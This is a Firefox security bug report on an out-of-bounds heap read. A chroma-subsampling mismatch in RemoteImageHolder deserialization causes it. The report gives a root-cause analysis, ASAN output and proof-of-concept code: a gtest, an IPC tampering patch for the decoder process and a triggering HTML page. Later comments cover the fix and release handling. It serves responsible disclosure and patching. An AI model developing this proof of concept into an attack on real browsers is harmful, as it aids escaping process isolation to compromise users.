RemoteImageHolder ChromaSubsampling Mismatch OOB Heap Read
Categories
(Core :: Audio/Video, defect)
Tracking
()
People
(Reporter: prodigysml555, Assigned: chunmin)
References
Details
(4 keywords, Whiteboard: [client-bounty-form][adv-main149+][adv-ESR140.9+])
Attachments
(1 file, 1 obsolete file)
|
48 bytes,
text/x-phabricator-request
|
dveditz
:
sec-approval+
|
Details | Review |
Compromised RDD/utility process -> content process via PRemoteDecoder::DecodedOutput. No user interaction beyond video playback.
RemoteImageHolder::DeserializeImage (RemoteImageHolder.cpp:81) validates shmem size using ComputeYCbCrBufferSize with the descriptor's cbCrSize, then sets pData.mChromaSubsampling = descriptor.chromaSubsampling() (line 100). The descriptor's cbCrSize is never stored in PlanarYCbCrData — it is used only for validation and discarded. When CopyData runs (ImageContainer.cpp:909), it recomputes chroma dimensions via CbCrDataSize() which calls ChromaSize(YDataSize(), mChromaSubsampling), ignoring the descriptor's cbCrSize. With cbCrSize={64,1} but chromaSubsampling=FULL and display=(64,2), CopyPlane reads 128 bytes from each 64-byte chroma region — 64-byte OOB read per plane.
This is distinct from the display-rect mismatch (Bug 2016370). Here display == ySize; the inflation comes from chromaSubsampling disagreeing with cbCrSize.
The Bug
// RemoteImageHolder.cpp:81 — validates against descriptor.cbCrSize()
size_t descriptorSize = ImageDataSerializer::ComputeYCbCrBufferSize(
descriptor.ySize(), descriptor.yStride(), descriptor.cbCrSize(),
// ^^^^^^^^^^^^^^^^^^
// cbCrSize={64,1} → 64 bytes per chroma plane. Passes.
descriptor.cbCrStride(), ...);
// RemoteImageHolder.cpp:95,100 — cbCrSize discarded after validation
pData.mPictureRect = descriptor.display(); // {0,0,64,2}
pData.mChromaSubsampling = descriptor.chromaSubsampling(); // FULL
// ImageContainer.h:794 — recomputes from display + subsampling, not cbCrSize
gfx::IntSize CbCrDataSize() const {
return gfx::ChromaSize(YDataSize(), mChromaSubsampling);
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// ChromaSize({64,2}, FULL) = {64,2} → 128 bytes per chroma plane
// ImageContainer.cpp:909,934 — copies the recomputed (larger) size
auto cbcrSize = aData.CbCrDataSize(); // recomputed, not from descriptor
CopyPlane(mData.mCbChannel, aData.mCbChannel, cbcrSize, ...);
// memcpy reads 128 bytes from 64-byte chroma region → OOB
// ImageContainer.cpp:889 — CopyPlane has no source bounds check
if (!aSkip) {
memcpy(aDst, aSrc, height * aStride); // raw memcpy, trusts caller
}
ChromaSize with FULL returns the input size unchanged (gfx/Types.h:797). The 4:2:0 chroma allocation is half-size, but CopyPlane reads full-size — 64 bytes past each chroma buffer.
Attack Vector
A compromised RDD or utility process sends a crafted SurfaceDescriptorBuffer containing a YCbCrDescriptor where chromaSubsampling is set to FULL but cbCrSize remains at the real (smaller) 4:2:0 dimensions. The content process deserializes through RemoteVideoDecoderChild::ProcessOutput -> TransferToImage -> DeserializeImage -> CopyData, reading past the chroma buffer during CopyPlane.
ASAN Proof
==14145==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6110006d9200
at pc 0x0001009ab9b4 bp 0x00016fa50570 sp 0x00016fa4fd20
READ of size 128 at 0x6110006d9200 thread T0
#0 __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib:arm64+0x4f9b0)
#1 mozilla::layers::RecyclingPlanarYCbCrImage::CopyData (XUL:arm64+0x608d7cc)
#2 RemoteImageHolderOOB_ChromaSubsamplingMismatchOOBRead_Test::TestBody (XUL:arm64+0x171f9c0)
0x6110006d9200 is located 0 bytes after 256-byte region [0x6110006d4b00,0x6110006d4c00)
allocated by thread T0 here:
#0 malloc (libclang_rt.asan_osx_dynamic.dylib:arm64+0x528bc)
#1 moz_xmalloc (libmozglue.dylib:arm64+0xcc0)
#2 RemoteImageHolderOOB_ChromaSubsamplingMismatchOOBRead_Test::TestBody (XUL:arm64+0x171f820)
SUMMARY: AddressSanitizer: heap-buffer-overflow (XUL:arm64+0x608d7cc)
in mozilla::layers::RecyclingPlanarYCbCrImage::CopyData
PoC
gfx/tests/gtest/TestRemoteImageHolderOOB.cpp (test 4):
TEST(RemoteImageHolderOOB, ChromaSubsamplingMismatchOOBRead)
{
const int32_t yStride = 64;
const int32_t cbCrStride = 64;
const IntSize ySize(64, 2);
const IntSize cbCrSize(64, 1);
const uint32_t yOffset = 0;
const uint32_t cbOffset = 128;
const uint32_t crOffset = 192;
uint32_t descriptorSize = ImageDataSerializer::ComputeYCbCrBufferSize(
ySize, yStride, cbCrSize, cbCrStride, yOffset, cbOffset, crOffset);
ASSERT_EQ(descriptorSize, 256u);
UniquePtr<uint8_t[]> buffer(new uint8_t[descriptorSize]);
memset(buffer.get(), 0xCC, descriptorSize);
PlanarYCbCrData pData;
pData.mYChannel = buffer.get() + yOffset;
pData.mYStride = yStride;
pData.mYSkip = 0;
pData.mCbChannel = buffer.get() + cbOffset;
pData.mCrChannel = buffer.get() + crOffset;
pData.mCbCrStride = cbCrStride;
pData.mCbSkip = 0;
pData.mCrSkip = 0;
pData.mColorDepth = ColorDepth::COLOR_8;
pData.mYUVColorSpace = YUVColorSpace::BT601;
pData.mColorRange = ColorRange::LIMITED;
// display matches ySize — this is NOT a display-rect issue.
pData.mPictureRect = IntRect(0, 0, 64, 2);
// FULL makes CbCrDataSize() = ChromaSize({64,2}, FULL) = {64,2}.
// But descriptor cbCrSize is only {64,1}. 128 bytes read from 64-byte region.
pData.mChromaSubsampling = ChromaSubsampling::FULL;
auto recycleBin = MakeRefPtr<BufferRecycleBin>();
RefPtr<RecyclingPlanarYCbCrImage> image =
new RecyclingPlanarYCbCrImage(recycleBin);
nsresult rv = image->CopyData(pData);
(void)rv;
}
Reproduce:
./mach gtest "RemoteImageHolderOOB.ChromaSubsamplingMismatchOOBRead"
IPC patch — pocs/remote_imageholder_chroma_subsampling_oob_ipc.patch:
diff --git a/dom/media/ipc/RemoteImageHolder.cpp b/dom/media/ipc/RemoteImageHolder.cpp
index 85ccfea9e107..e2331930429b 100644
--- a/dom/media/ipc/RemoteImageHolder.cpp
+++ b/dom/media/ipc/RemoteImageHolder.cpp
@@ -7,6 +7,7 @@
#include "RemoteImageHolder.h"
#include "GPUVideoImage.h"
+#include "nsXULAppAPI.h"
#include "mozilla/PRemoteDecoderChild.h"
#include "mozilla/RemoteDecodeUtils.h"
#include "mozilla/RemoteMediaManagerChild.h"
@@ -185,6 +186,22 @@ RemoteImageHolder::~RemoteImageHolder() {
/* static */ void IPC::ParamTraits<mozilla::RemoteImageHolder>::Write(
MessageWriter* aWriter, mozilla::RemoteImageHolder&& aParam) {
+ // PoC: flip chromaSubsampling to FULL on the first decoded YCbCr frame.
+ // Validation uses descriptor.cbCrSize (small, 4:2:0). CbCrDataSize()
+ // recomputes via ChromaSize(display, FULL) = full Y size. CopyPlane
+ // reads full-size rows from half-size chroma buffer -> OOB.
+ static bool sTampered = false;
+ if (!sTampered && XRE_IsRDDProcess() && aParam.mSD &&
+ aParam.mSD->type() ==
+ mozilla::layers::SurfaceDescriptor::TSurfaceDescriptorBuffer) {
+ auto& sdBuf = aParam.mSD->get_SurfaceDescriptorBuffer();
+ if (sdBuf.desc().type() ==
+ mozilla::layers::BufferDescriptor::TYCbCrDescriptor) {
+ sTampered = true;
+ sdBuf.desc().get_YCbCrDescriptor().chromaSubsampling() =
+ mozilla::gfx::ChromaSubsampling::FULL;
+ }
+ }
WriteParam(aWriter, aParam.mSource);
WriteParam(aWriter, aParam.mSize);
WriteParam(aWriter, aParam.mColorDepth);
The patch modifies ParamTraits<RemoteImageHolder>::Write in the RDD process to flip chromaSubsampling from the real 4:2:0 to FULL on the first decoded frame. On macOS, decoded video typically goes through MacIOSurface (GPU textures) rather than shmem, so the TSurfaceDescriptorBuffer condition may not match. On Linux, software-decoded frames use shmem and the tamper fires. The GTest exercises the vulnerable CopyData path directly regardless of platform.
HTML PoC — pocs/remote_imageholder_chroma_subsampling_oob_ipc.html:
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>RemoteImageHolder ChromaSubsampling OOB</title></head>
<body>
<pre id="log"></pre>
<video id="v" width="256" height="256" muted></video>
<script>
const log = document.getElementById('log');
function msg(s) { log.textContent += s + '\n'; console.log(s); }
msg('RemoteImageHolder ChromaSubsampling Mismatch OOB Read');
msg('RDD -> content via PRemoteDecoder::DecodedOutput');
msg('');
const v = document.getElementById('v');
v.addEventListener('playing', () => {
msg('Video playing - RDD sending crafted YCbCr descriptor to content.');
msg('Check ASAN for heap-buffer-overflow READ in CopyData.');
});
v.addEventListener('error', () => {
msg('Video error: ' + (v.error ? v.error.message : 'unknown'));
});
v.addEventListener('ended', () => {
msg('Playback complete. If patched: OOB triggered during decode.');
});
// Any video triggers RDD decoding. The patched Write in RDD flips
// chromaSubsampling to FULL on the first decoded frame. CopyPlane
// reads full-size rows from half-size chroma buffer in content.
// On macOS: requires layers.acceleration.disabled=true to force
// shmem path instead of MacIOSurface. On Linux: works by default.
v.src = 'test_chroma.webm';
v.play().catch(e => {
msg('Autoplay blocked: ' + e.message);
document.addEventListener('click', () => v.play(), { once: true });
msg('Click page to play.');
});
</script>
</body>
</html>
Reproduce:
git apply pocs/remote_imageholder_chroma_subsampling_oob_ipc.patch
./mach build
ffmpeg -y -f lavfi -i color=c=gray:s=64x64:d=1:r=30 -c:v libvpx -b:v 100k pocs/test_chroma.webm
python3 -m http.server 8766 --directory pocs/
./mach run -- http://localhost:8766/remote_imageholder_chroma_subsampling_oob_ipc.html
Updated•5 months ago
|
Updated•5 months ago
|
| Assignee | ||
Comment 1•5 months ago
|
||
The attack path seem similar to bug 2016370. I'll take a look.
Comment 2•5 months ago
|
||
Does this also need the media.use-remote-encoder.video pref?
| Assignee | ||
Comment 3•5 months ago
|
||
(In reply to Andrew McCreight [:mccr8] from comment #2)
Does this also need the
media.use-remote-encoder.videopref?
RemoteImageHolder::DeserializeImage can be used for remote decoding process as well, so no. For compromised content, it can send malicious IPC data to RDD.
| Assignee | ||
Comment 4•5 months ago
|
||
In the fix D283809 of bug 2015268, I added an additional check for cb cr size along side with the original fix. I believe this is the same issue but from different code path.
| Assignee | ||
Comment 5•5 months ago
|
||
| Assignee | ||
Comment 6•5 months ago
|
||
Comment 7•5 months ago
|
||
Comment on attachment 9547709 [details]
(secure)
Revision D284762 was moved to bug 2019109. Setting attachment 9547709 [details] to obsolete.
| Assignee | ||
Updated•5 months ago
|
| Assignee | ||
Comment 8•5 months ago
|
||
Comment on attachment 9547708 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: Moderate. The patch adds a check that the chroma dimensions implied by the chromaSubsampling field do not exceed the actual CbCr plane size. Someone familiar with YCbCr image handling could reason about what happens without the check, but it requires specific domain knowledge.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: All supported branches.
- If not all supported branches, which bug introduced the flaw?: N/A
- Do you have backports for the affected branches?: Yes
- If not, how different, hard to create, and risky will they be?: Backports are not yet prepared. The fix is a small, self-contained validation check (10 lines) in RemoteImageHolder::DeserializeImage. The code in this area has not diverged significantly across branches, so backports should be low risk.
- How likely is this patch to cause regressions; how much testing does it need?: Low. The patch only adds an early-return validation check before existing code. Valid descriptors are unaffected.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
Updated•5 months ago
|
Comment 10•5 months ago
|
||
Comment on attachment 9547708 [details]
(secure)
sec-approval+ to land now
Updated•5 months ago
|
Comment 11•5 months ago
|
||
Comment 12•5 months ago
|
||
Comment 13•5 months ago
|
||
The patch landed in nightly and beta is affected.
:chunmin, is this bug important enough to require an uplift?
- If yes, please nominate the patch for beta approval.
- See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
- If no, please set
status-firefox149towontfix.
For more information, please visit BugBot documentation.
| Assignee | ||
Comment 14•5 months ago
|
||
:tnikkel, do you think you need this to be uplifted for bug 2018113?
Comment 15•5 months ago
•
|
||
It doesn't need to be, I just remove this code in bug 2018113 to centralize this check. So you can skip the uplift work to save your time for something more useful.
Updated•5 months ago
|
Updated•4 months ago
|
Updated•4 months ago
|
Updated•4 months ago
|
Updated•4 months ago
|
Updated•4 months ago
|
Updated•12 days ago
|
Description
•